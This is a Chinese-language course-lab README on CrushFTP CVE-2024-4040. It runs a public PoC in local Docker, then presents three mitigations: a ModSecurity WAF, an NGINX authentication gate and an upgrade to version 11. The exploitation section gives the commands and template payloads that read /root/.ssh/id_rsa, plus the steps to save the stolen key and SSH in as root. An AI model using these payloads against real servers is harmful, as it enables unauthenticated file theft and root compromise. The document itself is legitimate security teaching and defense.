针对CVE-2024-4040(CrushFTP SSTI -> 未认证LFI)的概念验证,在受控的CS443实验室环境中 - 仅供教育/授权使用。
仅供教育和授权实验室环境使用。
CS443 软件与系统安全 — 受控本地 Docker 环境。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2024-4040 |
| 受影响软件 | CrushFTP < 10.7.1(v10 分支)/ < 11.1.0(v11 分支) |
| 漏洞类型 | 服务器端模板注入 (SSTI) → 未认证本地文件读取 |
| CVSS 评分 | 9.8 严重 |
| 影响 | 未认证攻击者可以读取服务器文件系统中的任意文件 |
CrushFTP 的 WebInterface 在处理 zip 命令的 path 参数时,未经消毒直接评估模板表达式。未认证攻击者可获取匿名会话 cookie,然后利用这些 cookie 传递模板载荷({working_dir}、<INCLUDE>…</INCLUDE>),服务器评估并返回这些载荷,从而实现跨主机任意文件读取。
| 组件 | 值 |
|---|---|
| 目标 | http://localhost:8080 |
| 基础 PoC CrushFTP 版本 | 10.3.0(故意存在漏洞) |
| 缓解方案 3 测试环境 | 运行 CrushFTP 11.x(已修补分支)的独立容器 |
| SSH 端口(容器) | 2222 → 22 |
| 管理员凭据 | admin / admin |
| 容器运行时 | Docker(Compose) |
pip install requests rich
| 脚本 | 来源 | 用途 |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | 完整的 SSTI/LFI 利用 — 会话窃取、任意文件读取 |
recon.py | 本仓库 | 版本检测、实时 SSTI 探测、漏洞确认 |
docker-compose up -d
等待约 10 秒让 CrushFTP 完全初始化后再运行脚本。
此处无需单独的侦察步骤,因为 crushed.py 在执行过程中会检查是否可以利用。
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
该脚本将:
/WebInterface/ 获取匿名 CrushAuth / currentAuth 会话{working_dir} 解析 CrushFTP 安装目录<INCLUDE>/root/.ssh/id_rsa</INCLUDE> 读取目标文件从输出中复制私钥块(从 -----BEGIN OPENSSH PRIVATE KEY----- 到 -----END OPENSSH PRIVATE KEY----- 的所有内容)。
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# 预期输出: root
id
# 预期输出: uid=0(root) gid=0(root) groups=0(root)
hostname
# 预期输出: <container_id>
未认证攻击者
│
▼
GET /WebInterface/ ← 获取匿名 CrushAuth + currentAuth cookie
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI 确认 — 服务器评估模板
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← 泄露绝对安装路径
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← 任意文件读取
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← 获得完整 root shell
| 问题 | 位置 | 详情 |
|---|---|---|
| 缺少依赖 | 第 6–9 行 | 运行前需要 pip install rich |
| 脆弱的 XML 解析 | 第 86、140 行 | 在非 XML 响应时崩溃;无 ParseError 处理 |
| Token 正则过于严格 | 第 160–161 行 | CrushAuth=…; currentAuth=… 模式可能无法匹配所有 sessions.obj 格式 |
| 仅限 HTTP 404 | 第 53 行 | Cookie 获取仅在 404 时成功;其他状态码静默失败 |
WAF 作为反向代理,在流量到达 CrushFTP 之前检查传入的 HTTP/S 流量。通过使用 NGINX 和 ModSecurity,在无需修改 CrushFTP 本身的情况下,在网络边缘阻止利用 CVE-2024-4040 的恶意请求。
../、%2e%2e)使用 Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
使用 Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# 启用 ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# 将所有流量代理到 CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# 被阻止的请求返回 403
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
攻击者 -> NGINX WAF (端口 80) -> 阻止恶意请求 -> 403 禁止
-> 转发正常请求 -> CrushFTP:8080
CVE-2024-4040 无需认证即可利用。在本实验室中,通过在 NGINX 层之前要求 Authorization 头,阻止匿名式访问进入敏感路由代理到 CrushFTP。
crushed.py 这样的利用脚本依赖未认证访问;没有凭据的请求被返回 401/WebInterface/ 和 / 的请求在没有认证数据时被拒绝services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# 允许静态资源无需认证
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# 阻止对 WebInterface 的未认证访问
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# 阻止所有其他路径的未认证访问
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# 确认 NGINX 拒绝未认证请求
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# 预期输出: 401 Unauthorized
# 可选:带认证的请求应被转发
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
升级到 CrushFTP 11 是最有效且永久的修复方法。该补丁在 VFS 路径解析上增加了严格的输入验证,消除了 CVE-2024-4040 的根本原因。
crushed.py 的利用脚本不再适用于版本 11将您的 Dockerfile 更新为使用 CrushFTP 11:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
重建容器:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# 对 v11 运行利用脚本 - 应失败
# 注意:本仓库脚本使用 -t/--target。
python3 crushed.py -t http://localhost:8080
# 预期输出:利用脚本不返回任何内容或连接错误